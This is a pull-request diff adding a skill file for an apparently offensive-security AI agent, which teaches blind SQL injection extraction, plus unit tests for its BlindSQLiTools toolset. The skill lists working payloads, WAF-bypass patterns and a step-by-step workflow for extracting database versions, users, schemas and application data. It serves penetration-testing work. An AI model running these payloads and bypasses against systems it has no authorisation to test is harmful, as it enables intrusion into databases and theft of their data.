Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
145 changes: 145 additions & 0 deletions capabilities/web-security/skills/blind-sqli-extraction/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,145 @@
---
name: blind-sqli-extraction
description: "Extract data from boolean and timing-based blind SQL injection points. Use when you have a confirmed injection point with a reliable oracle but no direct output — covers oracle identification, WAF bypass, and efficient extraction via LIKE narrowing and DIV bisection."
---

# Blind SQLi Extraction

You have confirmed SQL injection. The application does not return query results directly. You need to extract data one condition at a time through a boolean or timing oracle.

## Pattern

- Injectable parameter confirmed (boolean differential or timing differential)
- No UNION/error-based output available
- Need to extract version, user, schema, or application data
- WAF may block common keywords or quote characters

## Workflow

### 1. Identify the Oracle

The oracle is the observable difference between TRUE and FALSE conditions. Find it before extracting anything.

| Oracle Type | Signal | Example |
|---|---|---|
| Boolean (response body) | JSON field value changes, result count differs, content present/absent | `paging.total = 5` (TRUE) vs `paging.total = 0` (FALSE) |
| Boolean (status code) | 200 vs 500, 200 vs 302 | Inject `' AND 1=1--` vs `' AND 1=0--` |
| Boolean (response size) | Byte count delta >10 bytes | TRUE returns full page, FALSE returns empty/error |
| Timing | Response time delta >2s | `' AND IF(1=1,SLEEP(3),0)--` vs baseline |

**Validation:** Always confirm with a known-true (`1=1`) and known-false (`1=0`) pair before extraction. If both return the same oracle value, the injection point is not usable.

### 2. Map WAF Restrictions

Before building payloads, identify what the WAF blocks. Test each element independently:

```
Quotes: ' " ` (try hex 0x encoding as bypass)
Whitespace: SPACE TAB (try /**/ or %09)
Keywords: SELECT UNION WHERE AND OR (try case mixing, inline comments)
Functions: SLEEP BENCHMARK IF CASE SUBSTRING (try aliases)
Operators: = < > (try LIKE, BETWEEN, DIV)
Comments: -- # /**/ (try ;%00)
```

### 3. Extract Data

Use the `BlindSQLiTools` toolset. Three extraction methods available:

- `sqli_test_condition` -- test a single boolean condition
- `sqli_extract_string` -- character-by-character string extraction via LIKE
- `sqli_extract_int` -- integer extraction via DIV narrowing

Start with version and user identification, then enumerate schema, then extract target data.

**Extraction order:**
1. `@@version` -- confirms DBMS and informs syntax choices
2. `CURRENT_USER` or `user()` -- identifies privilege level
3. Schema enumeration -- `information_schema.tables`, `information_schema.columns`
4. Target data -- application-specific tables

## WAF Bypass Patterns

| Blocked | Bypass | Notes |
|---|---|---|
| Single quotes `'` | `0x` hex encoding | `'admin'` becomes `0x61646d696e` |
| `SPACE` | Inline comment `/**/` | `AND/**/1=1` |
| `SPACE` | Tab `%09` or newline `%0a` | `AND%091=1` |
| `AND` / `OR` | `&&` / `\|\|` | MySQL only |
| `AND` / `OR` | Case mixing `AnD` | Some WAFs are case-sensitive |
| `SELECT` | `/*!50000SELECT*/` | MySQL version-conditional comments |
| `=` | `LIKE` or `BETWEEN...AND` | `@@version LIKE 0x382e30%` |
| `SUBSTRING` | `MID()` or `LEFT()`/`RIGHT()` | MySQL alternatives |
| `SLEEP` | `BENCHMARK(5000000,SHA1('x'))` | CPU-based timing alternative |
| `IF()` | `CASE WHEN...THEN...ELSE...END` | ANSI SQL, broader compat |
| Comma `,` | `CASE WHEN` instead of `IF(x,y,z)` | Also `LIMIT 1 OFFSET 0` instead of `LIMIT 0,1` |
| `information_schema` | `sys.schema_table_statistics` | MySQL 5.7+ alternative |

### Stacked Bypass (MySQL)

When inline injection is blocked, version-conditional comments can wrap entire clauses:

```sql
/*!50000CASE*/+WHEN+{condition}+THEN+0+ELSE+1+/*!50000END*/
```

### Quote-Free String Comparison

Hex encoding eliminates quotes entirely:

```sql
@@version=0x382e302e3137 -- tests if version equals '8.0.17'
user() LIKE 0x726f6f7425 -- tests if user starts with 'root'
```

## Extraction Techniques

### LIKE Character-by-Character

Extract strings one character at a time using LIKE with wildcard:

```
@@version LIKE 0x38% -- starts with '8'? TRUE
@@version LIKE 0x382e% -- starts with '8.'? TRUE
@@version LIKE 0x382e30% -- starts with '8.0'? TRUE
```

Worst case: 70 requests per character (full charset). Average: ~35 per character.

### DIV Integer Narrowing

Extract integers by narrowing thousands, hundreds, tens, then exact:

```
@@port DIV 1000=3 -- port is 3000-3999? TRUE
@@port DIV 100=33 -- port is 3300-3399? TRUE
@@port DIV 10=330 -- port is 3300-3309? TRUE
@@port=3306 -- port is 3306? TRUE
```

Total: 30-96 requests regardless of value magnitude. Far more efficient than character extraction for numbers.

### Known-Value Shortcut

When extracting from a finite set (version strings, usernames, table names), test exact matches first:

```
@@version=0x382e302e3137 -- '8.0.17'? FALSE
@@version=0x382e302e3333 -- '8.0.33'? TRUE (1 request instead of 35+)
```

Pass common values via `known_values` parameter to try before falling back to character extraction.

## Indicators

- **Oracle confirmed:** Known-true and known-false conditions produce reliably different oracle values
- **Extraction working:** Extracted value is confirmed with exact-match test after LIKE narrowing
- **WAF bypassed:** Payloads return expected oracle responses instead of WAF block pages
- **Privilege identified:** `CURRENT_USER` extraction reveals the database account and privilege level

## Chain With

- **timing-attack-recon** -- discover the injection point via timing differentials
- **parser-differential-bypass** -- WAF bypass via encoding differentials between WAF parser and backend DB
- **403-bypass** -- access blocked endpoints that may have weaker input validation
- **data-exfil** -- exfiltrate extracted data through OOB channels when boolean oracle is unreliable
93 changes: 93 additions & 0 deletions capabilities/web-security/tests/test_blind_sqli.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
"""Tests for the blind SQLi extraction tools."""

from __future__ import annotations

import importlib.util
from pathlib import Path

import pytest

MODULE_PATH = Path(__file__).resolve().parent.parent / "tools" / "blind_sqli.py"
SPEC = importlib.util.spec_from_file_location("blind_sqli", MODULE_PATH)
assert SPEC and SPEC.loader
MODULE = importlib.util.module_from_spec(SPEC)
SPEC.loader.exec_module(MODULE)

BlindSQLiTools = MODULE.BlindSQLiTools
_resolve_field = MODULE._resolve_field


@pytest.fixture
def toolset() -> BlindSQLiTools:
return BlindSQLiTools()


class TestToolDiscovery:
def test_tools_class_exists(self) -> None:
assert hasattr(MODULE, "BlindSQLiTools")

def test_is_toolset(self) -> None:
from dreadnode.agents.tools import Toolset

assert issubclass(BlindSQLiTools, Toolset)

def test_tool_methods_registered(self, toolset: BlindSQLiTools) -> None:
tools = toolset.get_tools()
names = {t.name for t in tools}
assert names == {
"sqli_test_condition",
"sqli_extract_string",
"sqli_extract_int",
"sqli_get_request_count",
"sqli_reset",
}


class TestDefaultConfig:
def test_timeout(self, toolset: BlindSQLiTools) -> None:
assert toolset.timeout == 30

def test_delay(self, toolset: BlindSQLiTools) -> None:
assert toolset.delay == 0.3

def test_max_length(self, toolset: BlindSQLiTools) -> None:
assert toolset.max_length == 80


class TestResolveField:
def test_simple_field(self) -> None:
assert _resolve_field({"count": 5}, "count") == 5

def test_nested_field(self) -> None:
assert _resolve_field({"paging": {"total": 10}}, "paging.total") == 10

def test_list_index(self) -> None:
assert _resolve_field({"items": [1, 2, 3]}, "items.1") == 2

def test_missing_field(self) -> None:
assert _resolve_field({"a": 1}, "b") is None

def test_missing_nested(self) -> None:
assert _resolve_field({"a": {"b": 1}}, "a.c") is None

def test_list_out_of_bounds(self) -> None:
assert _resolve_field({"items": [1]}, "items.5") is None

def test_non_dict_traversal(self) -> None:
assert _resolve_field({"a": "string"}, "a.b") is None


class TestRequestCount:
@pytest.mark.asyncio
async def test_initial_count_zero(self, toolset: BlindSQLiTools) -> None:
result = await toolset.get_request_count()
assert "0" in result

@pytest.mark.asyncio
async def test_reset_clears_count(self, toolset: BlindSQLiTools) -> None:
# Ensure _client is properly None (not a PrivateAttr sentinel)
toolset.__dict__["_request_count"] = 42
toolset.__dict__["_client"] = None
result = await toolset.reset()
assert "0" in result
assert toolset._request_count == 0
Loading
Loading